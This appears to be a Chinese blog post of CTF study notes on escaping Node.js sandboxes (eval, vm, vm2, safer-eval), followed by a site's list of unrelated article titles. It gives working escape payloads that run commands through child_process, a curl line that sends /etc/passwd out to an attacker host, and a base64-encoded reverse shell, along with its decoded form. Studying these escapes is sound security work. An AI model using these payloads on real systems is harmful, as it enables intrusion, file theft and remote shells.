NodeJS沙箱逃逸

关于nodejs的沙箱

使用场景
  1. 在线代码编辑器
  2. 第三方js代码
  3. jsonp,like百度搜索框
https://www.baidu.com/s?wd=nodejs&ming=aa

此处wd为关键词,ming为函数名。

output:

a({q:"123",p:false,s:["12306","12306铁路客户服务中心","12308汽车订票官网","12306火车票网上订票官网","12333","12315","12345","12333社保查询网","123网址之家","12366"]});  

注意在此处,s为关键词开始的数据组成的数据。  

所以JSONP的基本思想是,网页通过添加一个<script>元素,向服务器请求JSON数据,所以json就是被包含在函数当中的josn,使用<script>元素进行Ajax传输,此时我们是不受同源策略影响的,这样就可以从其他的服务器请求数据,同事客户端也会将其自行解码的。
  1. vue的服务端渲染/表达式计算

沙箱逃逸

在nodejs当中了,eval始终存在着一定的问题,能够出乎意料的执行系统命令。

对于存在利用可能性的eval函数,可以使用chile_process.exec来间接调用/bash.sh。
它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。 like: 读取文件: require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');; 反弹shell: q=require('child_process').exec('echo YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xOTIuMTY4LjExNC4xLzQ0NDQgMCZndDsmMQ==|base64 -d|bash'); 即bash -i >& /dev/tcp/192.168.114.1/4444 0>&1

类eval函数:

setInteval(some_function, 2000)

setTimeout(some_function, 2000);

相当于匿名函数,即php当中create_function。
vm

vm是一个不安全的模块,包括vm2。

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

因为this.constructor.constructor返回的是Function constructor,所以可以利用Function构造函数并执行,同时Function对象处于主程序中,这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

    const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env); //调用了child_progress

在vm2当中,可以通过制造错误,引起外部报错,再捕获外部的报错实现逃逸

收集目标信息,使用js=Error().stack

Error
at vm.js:1:1
at ContextifyScript.Script.runInContext (vm.js:59:29)
at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:219:62)
at /usr/src/app/server.js:51:33
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)

可以发现设置的模块,如vm.js,查找可pass的poc。

https://github.com/patriksimek/vm2/issues/225

相关题目

2020 HUFUCTFweb just_escape
[GKCTF2020]EZ三剑客-EzNode
const express = require('express');
const bodyParser = require('body-parser'); const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 const fs = require('fs'); const app = express(); app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json()); // 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) { }
}, 1000);
} else {
next();
}
}); app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

poc:

const saferEval = require("./src/index");

const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`; console.log(saferEval(untrusted));

最新文章

  1. 用Ghost进行备份还原
  2. SqlServer基础复习
  3. Spark在Yarn上运行Wordcount程序
  4. SQLSTATE[HY000] [2003] Cant connect to MySQL server
  5. 精通MVC网站、MVVM开发模式、Razor语法
  6. C++的那些事:表达式与语句
  7. Linux下指定版本编译安装LAMP
  8. StringBuffer 和 StringBuilder
  9. ajax返回son数据
  10. [置顶] Linux下的截图小工具
  11. CSS:margin负数的使用
  12. MongoDB查询分析
  13. 四:Java使用google的thumbnailator工具对图片压缩水印等做处理
  14. protocol_v2.go
  15. 设计模式 | 装饰模式(decorator)
  16. ubuntu下安装和配置pycharm和pyqt5
  17. 关于html引用php文件在编译器正常运行,web浏览器出问题的一点心得
  18. Java笔记----字节流与字符的常见类型
  19. ??? cliquers
  20. django中路由系统和视图的对应关系(值的传递)--&gt;主要内容(位置参数、关键字参数、额外参数、include分组[urls的分发]、命名分组、反向解析、APPEND_SLASH)

热门文章

  1. neutron plugin 与 extension 编写流程
  2. 文华财经赢顺外盘期货行情数据API接口开放代码
  3. windows操作报错:无法启动此程序,因为计算机中丢失api-ms-win-core-winrt-string-l1-1-0.dll
  4. 【转】在Python的struct模块中进行数据格式转换的方法
  5. SpringBoot输出日志到文件
  6. CF1203D2 Remove the Substring (hard version) 题解
  7. 初始化文章分类的方法 下拉的layui框
  8. 符合SEO的网站标题应该怎么写
  9. Python 编程开发 实用经验和技巧
  10. 重要bug记录